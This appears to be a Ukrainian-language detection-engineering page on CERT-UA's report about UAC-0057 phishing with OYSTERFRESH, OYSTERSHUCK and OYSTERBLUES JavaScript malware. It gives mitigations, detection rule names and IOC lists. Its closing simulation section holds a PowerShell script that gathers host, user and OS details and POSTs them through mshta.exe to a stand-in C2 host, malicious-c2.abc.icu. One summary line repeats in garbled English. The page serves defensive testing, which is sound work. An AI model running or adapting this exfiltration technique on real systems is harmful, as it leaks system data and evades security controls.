UAC-0057 оновлює свій інструментарій за допомогою OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
CERT-UA повідомила про фішингову кампанію, спрямовану на українські урядові організації. Листи містять PDF-вкладення, які перенаправляють отримувачів до ZIP-архівів, що містять шкідливі JavaScript-файли, відомі як OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES. Після виконання шкідливе програмне забезпечення збирає інформацію про систему та надсилає її через HTTP POST-запити, з можливістю отримання компонента Cobalt Strike на пізнішому етапі. Підтримуюча інфраструктура приховується за Cloudflare та широко використовує .icu домени.
Розслідування
Аналіз CERT-UA ідентифікував зразки шкідливого JavaScript, методи декодування, на які вони спираються, включаючи реверсування рядків, ротацію на 13 символів (ROT13) та URL-декодування, а також зміни у реєстрі, які використовуються для підтримки стійкості. Дослідники також задокументували кілька артефактів файлів і шляхів Windows, пов’язаних з ланцюжком інфекції. Аналіз мережі пов’язав діяльність з хостинговою інфраструктурою, що захищається Cloudflare. Звіт далі відзначає можливу подальшу доставку маяка Cobalt Strike. .icu hosting infrastructure. The report further notes the possible follow-on delivery of a Cobalt Strike beacon.
Пом’якшення
Організації повинні обмежити виконання wscript.exe для стандартних користувачів, обмежити виконання як PowerShell, так і JavaScript, і контролювати перелічені ключі реєстру Run на предмет підозрілих змін. Веб-фільтрація повинна використовуватися для блокування .icu доменів і, де доречно, пов’язаних з Cloudflare IP-діапазонів, які асоціюються з кампанією. Захисники також повинні застосовувати контроль мінімальних привілеїв і запобігати автоматичному виконанню невідомих бінарних файлів.
Відповідь
Команди безпеки повинні створити засоби для виявлення визначених імен файлів, ключів реєстру та вихідного трафіку HTTP POST до відомих доменів. Мисливство також повинно охоплювати можливе навантаження Cobalt Strike, включаючи CSBEACON DLL, і будь-яке заплановане завдання з назвою MicrosoftEdgeUpdateTaskMachine. Розслідування кінцевих точок повинні збирати дерева процесів, щоб відстежити ланцюжок декодування та виконання JavaScript.
Потік атаки
Засоби виявлення
Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через подію реєстру)
Перегляд
Підозріла File Exstension Додана до Ключів Run [ASEPs] (через подію реєстру)
Перегляд
Витяг архіву безпосередньо з поштового клієнта (через створення процесу)
Перегляд
Виконання з ZIP-архіву [7zip] (через створення процесу)
Перегляд
Виконання з RAR-архіву [WinRAR] (через створення процесу)
Перегляд
LOLBAS WScript / CScript (через створення процесу)
Перегляд
LOLBAS RunDLL32 (через cmdline)
Перегляд
Підозрілі Витягнуті Файли з Архіву (через подію файлу)
Перегляд
Підозріле Заплановане Завдання (через аудит)
Перегляд
Підозріле Керування і Контроль з Незвичайним Доменом Вищого Рівня (TLD) DNS Запит (через dns)
Перегляд
Індикатори компрометації (HashSha256) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 2
Перегляд
Індикатори компрометації (HashSha256) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 1
Перегляд
Індикатори компрометації (HashSha1) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Перегляд
Індикатори компрометації (HashMd5) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 2
Перегляд
Індикатори компрометації (HashMd5) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 1
Перегляд
Індикатори компрометації (SourceIP) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Перегляд
Індикатори компрометації (DestinationIP) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Перегляд
Виявлення ексфільтрації OYSTERBLUES через HTTP POST на .icu домени [Підключення мережі Windows]
Перегляд
Виявлення шкідливого виконання JavaScript через wscript.exe [Створення процесу Windows]
Перегляд
Виконання симуляції
Передумова: Телеметрія і перевірка базових показників повинні пройти.
Обґрунтування: У цьому розділі детально викладено точне виконання техніки супротивника (TTP), розробленої для активізації правила виявлення. Команди та підходи прямо відображають визначені TTP та призводять до виникнення очікуваної телеметрії згідно з логікою виявлення.
-
Сценарій атаки та команди:
Зловмисник використовує підписаний бінарний файл Windows (mshta.exe) для запуску невеликого JavaScript-навантаження, яке збирає інформацію про систему та ексфільтрує її через HTTP POST на шкідливий домен “*.icu”, що контролюється сервером C2. Такий підхід “життя за рахунок ресурсів системи” дозволяє уникнути оповіщень AV, створюючи при цьому точну подію мережевого екрану, яку відстежує правило (POST + “.icu”). -
Скрипт регресійного тестування:
# Симуляція ексфільтрації у стилі OYSTERBLUES # 1. Закодувати мінімальну інформацію про систему в JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Записати тимчасовий HTML-файл, що запускатиме JS fetch POST $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Виконати через mshta (підписане бінарне виконання через проксі) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Дати запиту час завершитися, а потім очистити Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Команди очищення:
# Переконатися, що всі процеси mshta завершені Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Видалити залишкові тимчасові файли (якщо такі є) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }